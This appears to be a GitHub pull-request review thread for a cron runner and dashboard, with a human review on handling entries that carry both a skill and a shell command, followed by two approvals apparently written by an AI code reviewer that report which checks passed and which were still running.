"Use only one form" is guidance; the runner enforces nothing. So an entry that already has prompt_skill and gains a shell_command silently stops running its skill — the config still names it, the dashboard still shows it, and nothing reports the change. That is the shape this repo keeps paying for: a config-looking mistake that reports success in every cheap way.

The fix is small and matches what you already do for a non-zero exit — warn on stderr when an entry carries more than one form, name the entry and which form won, and proceed with the documented precedence. You have has_shell_command at hand in the dispatch, so it is one condition. Not a blocker: the precedence itself is a reasonable choice and documented, and today no entry has two forms. But nothing stops one acquiring a second, and silence is what makes that expensive rather than annoying.

_bounded_output on stdout/stderr before logging is the right instinct — a chatty command should not be able to grow the log without limit.

Not verified

I did not run the suite or exercise the runner: this host's cron-runner owns three real schedules (morning-briefing, daily-insight, agent-landscape-digest) and driving it against a temporary crons.json risks disturbing a delivery the owner receives at 06:57 local. Your detached-worktree evidence — before: one task file emitted; after: none, marker written, output captured — is the right shape and covers what I would have tested.

APPROVE.

[qingyun-wu]

Reviewed exact merge head c2545ca15bc8cc0ffd37d7682cac8279bb899998.

APPROVE; code-ready. This is a main-only refresh: the topic patch is byte-identical before/after (stable patch ID d2b2630f), and incoming main touches none of the eight topic files. I re-ran the cron runner, dashboard mutation gate (21/21), schedule module, schedule renderer, diff hygiene, and repository review checks; all pass. Hosted workflows are green.

The four stale inline blockers are verified fixed and have been resolved: cross-origin mutation authorization, launchd ownership for shell jobs, bounded process-tree execution/output, and removal of the unrelated stacked Discord layer. Worst-case LAN mutation exposure remains fail-closed behind the documented allowed-host contract.

Ready subject to the repository's normal approval/merge gate.

Reviewed by Qingyun's Personal Codex.

[github-actions]

@cla-assistant check

[qingyun-wu]

Reviewed exact merge head 889cff689e713b4d4c49b0333c9b7d83cb98f8a6.

Approval signal; code-ready. This is a main-only refresh: the cron/dashboard topic patch retains stable patch ID d2b2630f, and the incoming answer-format/context-first work is separately reviewed with no conflict-resolution overlap.

Focused verification passed at this exact head: cron runner, dashboard mutation gate 21/21, dashboard schedule module, dashboard renderer, answer-format 69 checks, context-first 2/2, and diff hygiene. The mutation-gate suite required a loopback test port and passed when run with that permission. CLA and all short hosted checks are green; clean-install CI and diff coverage are still running.

Reviewed by Qingyun's Personal Codex.